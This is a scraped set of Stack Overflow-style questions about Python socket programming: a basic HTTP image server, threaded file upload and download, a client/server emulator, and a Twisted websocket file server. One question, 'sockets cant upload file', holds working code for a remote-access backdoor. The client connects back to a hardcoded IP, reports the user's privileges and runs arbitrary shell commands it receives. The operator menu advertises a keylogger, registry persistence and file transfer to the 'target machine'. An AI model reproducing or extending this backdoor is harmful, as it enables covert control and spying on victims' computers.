why do I get [Errno 2]? - python

so I have created a server that as for now does a very simple task, it suppose to send to the browser a packet whitch contains the string "datatatata".
but it does'nt work, when running it and sending a request from browser, I keep getting [Errno 2]. the request is of course HTTP request
the code:
import socket
# functions
def get_file_data(filename):
pass
def handle_client_request(file_path, client_socket):
file_to_return = open(file_path, 'rb')
file_content = file_to_return.read()
client_socket.send(file_content)
def validate_client_request(client_request):
# checks validation of request. for now validation is set to true
validation = True
# checks for requested URL
desired_file_name = ""
for i in client_request[5::]:
if i != " ":
desired_file_name += i
else:
break
# checking file type
file_type = ""
if desired_file_name == "favicon":
file_type = "ico"
elif desired_file_name == "abstruct" or desired_file_name == "":
file_type = "jpg"
elif desired_file_name == "loading":
file_type = "gif"
if file_type == "":
validation = False
file_path = "C:\\Users\\hadad\\Desktop\\webroot\\imgs\\" + desired_file_name + "." + file_type
return validation, file_path
def handle_client(client_socket):
client_request = client_socket.recv(1024).decode()
valid_request, file_path = validate_client_request(client_request)
if valid_request:
handle_client_request(file_path, client_socket)
else:
client_socket.send("unvalid request. connection ended".encode())
client_socket.close()
def main():
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 80))
server_socket.listen()
# everlasting loop
while True:
client_socket, client_address = server_socket.accept()
handle_client(client_socket)
if __name__ == '__main__':
main()
the error:
Traceback (most recent call last):
File "C:/Networks/hed/good_server.py", line 64, in <module>
main()
File "C:/Networks/hed/good_server.py", line 60, in main
handle_client(client_socket)
File "C:/Networks/hed/good_server.py", line 46, in handle_client
handle_client_request(file_path, client_socket)
File "C:/Networks/hed/good_server.py", line 11, in handle_client_request
file_to_return = open(file_path, 'rb')
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\hadad\\Desktop\\webroot\\imgs\\abstruct.jpg'

Related

sockets cant upload file

I am tryin to develop a script that works on the client machine sending information to the server and uploading&downloading to/from client machine. However, when I try to upload a file, I see in my server machine that the file is sending the file but the client doesn't receive and shows no error. uploading code worked properly before I implemented into my main code. Sorry if there is misunderstanding in my explanation i am new at stackoverflow.
every help is welcome X
import socket
from socket import *
import subprocess
import json
import os
import tqdm
path = 'C:\\Users\HP PC\Desktop'
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Client:
def __init__(self, ip, port):
self.connection = socket(AF_INET, SOCK_STREAM)
self.connection.connect((ip, port))
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1').strip()
return json.loads(json_data)
except ValueError:
continue
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directory to " + path
def down(self):
try:
received = self.connection.recv(BUFFER_SIZE).decode()
filename, filesize = received.split(SEPARATOR)
filename = os.path.basename(filename)
filesize = int(filesize)
progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "wb") as f:
while True:
bytes_read = self.connection.recv(BUFFER_SIZE)
if not bytes_read:
break
f.write(bytes_read)
progress.update(len(bytes_read))
except Exception as e:
print(e)
def run(self):
privilege = subprocess.check_output('whoami', shell=True)
self.connection.send(privilege)
while True:
command = self.reliable_recv()
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
continue
elif command[0] == '/cls':
continue
elif command[0] == 'upload':
self.down()
continue
# elif command[:3] == "cd ":
# try:
# os.chdir(path)
# except OSError as e:
# print(e)
else:
command_result = self.execute_system_command(command)
self.reliable_send(command_result.decode("ISO-8859-1").strip())
my_backdoor = Client('192.168.8.105', 6543)
my_backdoor.run()
Here is the server code:
import json
import os
import socket
import tqdm
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Listener:
def __init__(self, bind_ip, bind_port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((bind_ip, bind_port))
server.listen(0)
print("[*] Listening on ", str(bind_ip))
self.connection, addr = server.accept()
print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
receive = self.connection.recv(1024)
print("[+] This is " + receive.decode('ISO-8859-1'))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode().strip())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1')
return json.loads(json_data)
except ValueError:
continue
def upload(self):
filename = "v.png"
filesize = os.path.getsize(filename)
# send the filename and filesize
self.connection.send(f"{filename}{SEPARATOR}{filesize}".encode())
# start sending the file
progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "rb") as f:
while True:
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read:
# file transmitting is done
break
# we use sendall to assure transimission in
# busy networks
self.connection.sendall(bytes_read)
# update the progress bar
progress.update(len(bytes_read))
def run_command(self):
while True:
command = input(">")
command = command.split(" ")
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
print('''
quit => Quit the sessison
clear => Clear the screen
cd *dirname => Change directory on target machine
upload *filename =>Upload file to target machine
download *filename =>Download file from target machine
key_start =>Start the keylogger
key_dump =>Print the keystrokes target prompted
key_stop =>Stop and self destruct keylogger file
persistance *RegName* *filename =>Persistance in reboot
''')
continue
elif command[:3] == 'cd ':
pass
elif command[0] == 'upload':
self.upload()
continue
elif command[0] == '/cls':
os.system('cls')
continue
self.reliable_send(command)
result = self.reliable_recv()
print(result)
my_listener = Listener('192.168.8.105', 6543)
my_listener.run_command()
it doesnt show any errors and rest of the code is working properly.
Upload and download functions worked properly when I tried to test
but didnt work when i tried to implement into my main code

Python File Server Only Works with One Thread Running

I have made a file server on python using sockets and threads. The program is supposed to allow the client to upload and download files from the server.
The program works perfectly when only one thread is running, but when both threads are running the server gives an error when trying to upload a file, and when trying to download the program just stops doing anything after the client enters 'Y' to initiate the download.
Here is the code for the client:
import socket
import os
def DownloadFile(s, host, port):
s.connect((host, port))
s.send(str.encode('DNLD'))
filename = input('Filename? ->')
if filename != 'q':
s.send(str.encode(filename))
data = s.recv(2048).decode('UTF-8')
if data[:6] == 'EXISTS':
filesize = data[6:]
message = input('File Exists, ' + str(filesize) + ' Bytes. Download? (Y/N) ->')
if message == 'Y' or message == 'y':
s.send(str.encode('OK'))
f = open('copy of '+filename, 'wb')
data = s.recv(2048)
totalRecv = len(data)
f.write(data)
while totalRecv < int(filesize):
data = s.recv(2048)
totalRecv += len(data)
f.write(data)
print('{}'.format(round((totalRecv/float(filesize))*100),2)+'% Complete')
print('Download Complete!')
s.close()
else:
print('File does not exist')
s.close()
Main()
def UploadFile(s, host, port):
s.connect((host, port))
s.send(str.encode('UPLD'))
filename = input('Filename? ->')
if os.path.isfile(filename):
filesize = os.path.getsize(filename)
filesize = str(filesize)
s.send(str.encode('EXISTS ' + filename))
s.send(str.encode(filesize))
ready = input('Ready to upload. Proceed? (Y/N) ->')
if ready == 'Y' or ready == 'y':
s.send(str.encode('OK'))
with open(filename, 'rb') as f:
bytesToSend = f.read(2048)
s.send(bytesToSend)
while bytesToSend != '':
bytesToSend = f.read(2048)
s.send(bytesToSend)
s.close()
else:
print('File does not exist.')
s.close()
Main()
def Main():
host = '127.0.0.1'
port = 10000
s = socket.socket()
while True:
choice = int(input('Please enter your choice:\n\n1. Upload a file to the server.\n2. Download a file from the server\n3. Quit.\n\n->'))
if choice == 1:
UploadFile(s, host, port)
break
elif choice == 2:
DownloadFile(s, host, port)
break
elif choice == 3:
s.close()
break
else:
print('Please enter a valid choice.')
if __name__ == '__main__':
Main()
And here is the code for the server:
import socket
import threading
import os
def SendFile(name, s):
check = s.recv(2048).decode('UTF-8')
if check == 'DNLD':
filename = s.recv(2048)
if os.path.isfile(filename):
send = os.path.getsize(filename)
send = str(send)
s.send(str.encode('EXISTS ' + send))
userResponse = s.recv(2048)
userResponse = userResponse.decode('UTF-8')
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(2048)
s.send(bytesToSend)
while bytesToSend != '':
bytesToSend = f.read(2048)
s.send(bytesToSend)
else:
s.send(str.encode('ERR'))
s.close()
def ReceiveFile(name, s):
check = s.recv(2048).decode('UTF-8')
if check == 'UPLD':
data = s.recv(2048).decode('UTF-8')
if data[:6] == 'EXISTS':
filename = data[6:]
data = s.recv(2048).decode('UTF-8')
filesize = data
userResponse = s.recv(2048)
userResponse = userResponse.decode('UTF-8')
if userResponse[:2] == 'OK':
f = open('copy of '+filename, 'wb')
data = s.recv(2048)
totalRecv = len(data)
f.write(data)
while totalRecv < int(filesize):
data = s.recv(2048)
totalRecv += len(data)
f.write(data)
print('Download Complete!')
def Main():
host = '127.0.0.1'
port = 10000
s = socket.socket()
s.bind((host, port))
s.listen(5)
print('Server Started')
while True:
c, addr = s.accept()
print('Client Connected: ' + str(addr))
Send = threading.Thread(target=SendFile, args=('sendThread', c))
Send.start()
Receive = threading.Thread(target=ReceiveFile, args=('retrThread', c))
Receive.start()
s.close()
if __name__ == '__main__':
Main()
If I were to comment out Send.start() or Receive.start() then whatever thread isn't commented out would work perfectly.
Here is the error given in the server when trying to upload a file with both threads running:
Exception in thread Thread-2:
Traceback (most recent call last):
File "C:\Python34\lib\threading.py", line 920, in _bootstrap_inner
self.run()
File "C:\Python34\lib\threading.py", line 868, in run
self._target(*self._args, **self._kwargs)
File "(file location)", line 28, in ReceiveFile
check = s.recv(2048).decode('UTF-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
And here is the output in the client when trying to download a file when both threads are running:
Please enter your choice:
1. Upload a file to the server.
2. Download a file from the server
3. Quit.
->2
Filename? ->cat.jpg
File Exists, 10634 Bytes. Download? (Y/N) ->Y
Nothing else happens after entering Y.
If anyone knows what is going wrong I would really appreciate some help.
That's not the way io and threads work. You have here 2 threads competing from the same input data. One will get first packet be it for it or not, and it is likely that one of the following packet will be eaten by the other thread => the first one will never see it!
You can delegate the processing of a conversation to a thread but to a single one that will call a send or receive function once it will have identified the request.
That is not all. TCP is a stream protocol. Packets can be splitted or re-assembled by any piece along the connection (sender, receiver and any gateway). So you should use delimiters to tell the peer that a name or a command if complete. And good practices recommend to pass the size when sending binary data, here again for the peer to know when the data is complete.
Good luck in your journey is the socket world ;-)

client-server python and file opening error

I am starting in python and developing a client / server script with some input parameters in terminal,arguments:(in) (out) (ip) (port) (mode) according to the code below.In passive mode, it functions as a server, in active mode it functions as a client. But I do not understand the reason for the errors presented. Can someone explain to me what's going on? Thanks.
code
def Main():
mode = sys.argv[5]
i = 0 # Auxiliar variable in loop
if (mode == "passive"):
port = int(sys.argv[4])
mySocket = socket.socket()
mySocket.bind(('', port)) # Passive connection, for server
mySocket.listen(1)
conn, addr = mySocket.accept()
conn.settimeout(1) # Timeout = 1 segundo
conn.setblocking(0) # Non blockable mode
print("Connection from: " + str(addr))
print("Connected as server")
in_arq = open(sys.argv[1], 'r')
message = in_arq.read() # File to be send
out_arq = open(sys.argv[2], 'w') # File to save data received
elif (mode == "ative"):
host = sys.argv[3]
port = int(sys.argv[4])
mySocket = socket.socket()
mySocket.connect((host, port)) # Active connection, for client
mySocket.settimeout(1) # Timeout = 1 segundo
mySocket.setblocking(0) # Non blockable mode
print("Connected as client")
in_arq = open(sys.argv[1], 'r')
message = in_arq.read() # File to be send
out_arq = open(sys.argv[2], 'w') # File to save data received
else:
print("Wrong arguments.")
if __name__ == '__main__':
Main()
errors:
C:\Users\AppData\Local\Programs\Python\Python35-32\python.exe C:/Users/Desktop/emulator.py C:\Users\Desktop\textinput C:\Users\Desktop\textoutput 127.0.0.1 54000 ative
Traceback (most recent call last):
File "C:/Users/Desktop/emulator.py", line 221, in <module>
Main()
File "C:/Users/Desktop/emulator.py", line 202, in Main
in_arq = open(sys.argv[1], 'r')
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\Desktop\\textinput'
Connected as client

How can I send a HTML page which contains pictures?

I've written a TCP server, which functions perfectly with web pages which only contain text, but I cant seem to send HTML files which contain pictures. How am I supposed to do it?
DIR = "D:/wwwroot/"
SERVER = ("server_address", 8820) #server_address replaced with my IP
PHRASE_CHART = "D:/wwwroot/phrase_chart.txt"
CONTENT_TYPE_CHART = "D:/wwwroot/content_type_chart.txt"
DEFAULT_PAGE = "D:/wwwroot/main.html"
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(SERVER)
client_counter = 0
while client_counter <= 10:
server_socket.listen(1)
(client_socket, client_address) = server_socket.accept()
client_counter += 1
while True:
try:
request = client_socket.recv(1024)
request = request[0:request.find("/r/n/r/n")]
if request[0:3] == "GET":
file_name = request[5: request.find("HTTP/1.1") - 1]
if os.path.isfile(DIR + file_name):
page = open(DIR + file_name)
data = ""
for line in page:
data += line
client_socket.send(data)
elif file_name == "":
page = open(DEFAULT_PAGE)
data = ""
for line in page:
data += line
client_socket.send(data)
else:
client_socket.send("")
else:
client_socket.close()
except socket.error:
break
client_socket.close()
server_socket.close()

Check server status on Twisted

While I was writing simple message-based fileserver and client, I got the idea about checking fileserver status, but don't know how to realize this: just try to connect and disconnect from server (and how disconnect immediately, when server is not running, if using this way?) or maybe twisted/autobahn have some things, which help to get server status without creating "full connection"?
a) fileserver.py
import os
import sys
import json
from twisted.internet import reactor
from autobahn.twisted.websocket import WebSocketServerFactory, WebSocketServerProtocol, listenWS
CONFIG_TEMPLATE = ''
CONFIG_DATA = {}
class MessageBasedServerProtocol(WebSocketServerProtocol):
"""
Message-based WebSockets server
Template contains some parts as string:
[USER_ID:OPERATION_NAME:FILE_ID] - 15 symbols for USER_ID,
10 symbols for OPERATION_NAME,
25 symbols for FILE_ID
other - some data
"""
def __init__(self):
path = CONFIG_DATA['path']
base_dir = CONFIG_DATA['base_dir']
# prepare to working with files...
if os.path.exists(path) and os.path.isdir(path):
os.chdir(path)
if not os.path.exists(base_dir) or not os.path.isdir(base_dir):
os.mkdir(base_dir)
os.chdir(base_dir)
else:
os.makedir(path)
os.chdir(path)
os.mkdir(base_dir)
os.chdir(base_dir)
# init some things
self.fullpath = path + '/' + base_dir
def __checkUserCatalog(self, user_id):
# prepare to working with files...
os.chdir(self.fullpath)
if not os.path.exists(user_id) or not os.path.isdir(user_id):
os.mkdir(user_id)
os.chdir(user_id)
else:
os.chdir(self.fullpath + '/' + user_id)
def onOpen(self):
print "[USER] User with %s connected" % (self.transport.getPeer())
def connectionLost(self, reason):
print '[USER] Lost connection from %s' % (self.transport.getPeer())
def onMessage(self, payload, isBinary):
"""
Processing request from user and send response
"""
user_id, cmd, file_id = payload[:54].replace('[', '').replace(']','').split(':')
data = payload[54:]
operation = "UNK" # WRT - Write, REA -> Read, DEL -> Delete, UNK -> Unknown
status = "C" # C -> Complete, E -> Error in operation
commentary = 'Succesfull!'
# write file into user storage
if cmd == 'WRITE_FILE':
self.__checkUserCatalog(user_id)
operation = "WRT"
try:
f = open(file_id, "wb")
f.write(data)
except IOError, argument:
status = "E"
commentary = argument
except Exception, argument:
status = "E"
commentary = argument
raise Exception(argument)
finally:
f.close()
# read some file
elif cmd == 'READU_FILE':
self.__checkUserCatalog(user_id)
operation = "REA"
try:
f = open(file_id, "rb")
commentary = f.read()
except IOError, argument:
status = "E"
commentary = argument
except Exception, argument:
status = "E"
commentary = argument
raise Exception(argument)
finally:
f.close()
# delete file from storage (and in main server, in parallel delete from DB)
elif cmd == 'DELET_FILE':
self.__checkUserCatalog(user_id)
operation = "DEL"
try:
os.remove(file_id)
except IOError, argument:
status = "E"
commentary = argument
except Exception, argument:
status = "E"
commentary = argument
raise Exception(argument)
self.sendMessage('[%s][%s]%s' % (operation, status, commentary), isBinary=True)
if __name__ == '__main__':
if len(sys.argv) < 2:
print "using python fileserver_client.py [PATH_TO_config.json_FILE]"
else:
# read config file
CONFIG_TEMPLATE = sys.argv[1]
with open(CONFIG_TEMPLATE, "r") as f:
CONFIG_DATA = json.load(f)
# create server
factory = WebSocketServerFactory("ws://localhost:9000")
factory.protocol = MessageBasedServerProtocol
listenWS(factory)
reactor.run()
b) client.py
import json
import sys
import commands
from twisted.internet import reactor
from autobahn.twisted.websocket import WebSocketClientFactory, WebSocketClientProtocol, connectWS
CONFIG_TEMPLATE = ''
CONFIG_DATA = {}
class MessageBasedClientProtocol(WebSocketClientProtocol):
"""
Message-based WebSockets client
Template contains some parts as string:
[USER_ID:OPERATION_NAME:FILE_ID] - 15 symbols for USER_ID,
10 symbols for OPERATION_NAME,
25 symbols for FILE_ID
other - some data
"""
def onOpen(self):
user_id = CONFIG_DATA['user']
operation_name = CONFIG_DATA['cmd']
file_id = CONFIG_DATA['file_id']
src_file = CONFIG_DATA['src_file']
data = '[' + str(user_id) + ':' + str(operation_name) + ':' + str(file_id) + ']'
if operation_name == 'WRITE_FILE':
with open(src_file, "r") as f:
info = f.read()
data += str(info)
self.sendMessage(data, isBinary=True)
def onMessage(self, payload, isBinary):
cmd = payload[1:4]
result_cmd = payload[6]
if cmd in ('WRT', 'DEL'):
print payload
elif cmd == 'REA':
if result_cmd == 'C':
try:
data = payload[8:]
f = open(CONFIG_DATA['src_file'], "wb")
f.write(data)
except IOError, e:
print e
except Exception, e:
raise Exception(e)
finally:
print payload[:8] + "Successfully!"
f.close()
else:
print payload
reactor.stop()
if __name__ == '__main__':
if len(sys.argv) < 2:
print "using python fileserver_client.py [PATH_TO_config.json_FILE]"
else:
# read config file
CONFIG_TEMPLATE = sys.argv[1]
with open(CONFIG_TEMPLATE, "r") as f:
CONFIG_DATA = json.load(f)
# connection to server
factory = WebSocketClientFactory("ws://localhost:9000")
factory.protocol = MessageBasedClientProtocol
connectWS(factory)
reactor.run()
Find solution this issue: using callLater or deferLater for disconnect from server, if can't connect, but when all was 'OK', just take server status, which he says.
import sys
from twisted.internet.task import deferLater
from twisted.internet import reactor
from autobahn.twisted.websocket import WebSocketClientFactory, WebSocketClientProtocol, connectWS
CONFIG_IP = ''
CONFIG_PORT = 9000
def isOffline(status):
print status
class StatusCheckerProtocol(WebSocketClientProtocol):
def __init__(self):
self.operation_name = "STATUS_SRV"
self.user_id = 'u00000000000000'
self.file_id = "000000000000000000000.log"
def onOpen(self):
data = '[' + str(self.user_id) + ':' + str(self.operation_name) + ':' + str(self.file_id) + ']'
self.sendMessage(data, isBinary=True)
def onMessage(self, payload, isBinary):
cmd = payload[1:4]
result_cmd = payload[6]
data = payload[8:]
print data
reactor.stop()
if __name__ == '__main__':
if len(sys.argv) < 3:
print "using python statuschecker.py [IP] [PORT]"
else:
# read preferences
CONFIG_IP = sys.argv[1]
CONFIG_PORT = int(sys.argv[2])
server_addr = "ws://%s:%d" % (CONFIG_IP, CONFIG_PORT)
# connection to server
factory = WebSocketClientFactory(server_addr)
factory.protocol = StatusCheckerProtocol
connectWS(factory)
# create special Deffered, which disconnect us from some server, if can't connect within 3 seconds
d = deferLater(reactor, 3, isOffline, 'OFFLINE')
d.addCallback(lambda ignored: reactor.stop())
# run all system...
reactor.run()

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